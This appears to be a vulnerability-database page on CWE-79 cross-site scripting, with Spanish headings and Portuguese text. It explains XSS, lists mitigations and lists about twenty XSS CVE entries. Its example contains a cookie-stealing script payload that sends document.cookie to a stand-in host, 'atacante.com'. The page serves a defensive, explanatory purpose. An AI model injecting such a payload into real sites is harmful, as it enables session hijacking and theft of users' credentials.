Fallos del tipo CWE-79

30.266 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-34375HIGHAVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment PageEPSS 0.3%CVE-2024-36656MEDIUMIn MintHCM 4.0.3, a registered user can execute arbitrary JavaScript code and achieve a reflected Cross-site Scripting (XSS) attack.EPSS 0.3%CVE-2021-47920MEDIUMWebMO Job Manager 20.0 Cross-Site Scripting via Search ParametersEPSS 0.3%CVE-2024-43217HIGHWordPress Kodex Posts likes plugin <= 2.5.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37776MEDIUMA cross-site scripting (XSS) vulnerability in Sunbird DCIM dcTrack v9.1.2 allows attackers to execute arbitrary web scripts or HTML via a crEPSS 0.3%CVE-2025-1489MEDIUMWP-Appbox <= 4.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via appbox ShortcodeEPSS 0.3%CVE-2026-33348HIGHOpenEMR has Stored XSS in patient encounter Eye Exam form $CHRONIC2 and $CHRONIC3EPSS 0.3%CVE-2025-59543CRITICALChamilo: Account Takeover via Stored XSS in Course DescriptionEPSS 0.3%CVE-2024-43126HIGHWordPress Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce plugin <= 2.6.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-20203MEDIUMA vulnerability in the web-based management interface of Cisco Evolved Programmable Network Manager (EPNM) and Cisco Prime Infrastructure coEPSS 0.3%CVE-2024-5406MEDIUMMultiple vulnerabilities in WinNMP from WtripleEPSS 0.3%CVE-2024-43959HIGHWordPress Super Testimonials plugin <= 4.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-46333MEDIUMAn authenticated cross-site scripting (XSS) vulnerability in Piwigo v14.5.0 allows attackers to execute arbitrary web scripts or HTML via a EPSS 0.3%CVE-2025-0706MEDIUMJoeyBling bootplus admin.html cross site scriptingEPSS 0.3%CVE-2024-47333HIGHWordPress Loops & Logic plugin <= 4.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-6497MEDIUMWordPress Simple Shopping Cart <= 4.7.1 - Authenticated(Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-39534HIGHWordPress Terms Dictionary Plugin <= 1.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-52746HIGHWordPress Restaurante theme <= 3.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2020-37003MEDIUMSellacious eCommerce 4.6 - Persistent Cross-Site ScriptingEPSS 0.3%CVE-2025-55175MEDIUMReflected XSS in QuickCMSEPSS 0.3%